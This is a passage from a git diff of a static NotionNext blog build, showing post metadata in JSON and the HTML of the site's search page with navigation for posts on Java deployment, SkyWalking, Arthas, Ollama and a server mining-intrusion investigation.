2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/search","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/search/NotionNext BLOG.html b/search/NotionNext BLOG.html
index fd7e9960d..1cf1cda03 100644
--- a/search/NotionNext BLOG.html	
+++ b/search/NotionNext BLOG.html	
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>NotionNext BLOG | Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="Both Savage"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="NotionNext BLOG | Search | Both Savage"/><meta property="og:description" content="Both Savage"/><meta property="og:url" content="https://bothsavage.github.io//search/NotionNext BLOG"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Both Savage"/><meta name="twitter:title" content="NotionNext BLOG | Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search/%5Bkeyword%5D-47355d318a01b8f4.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm 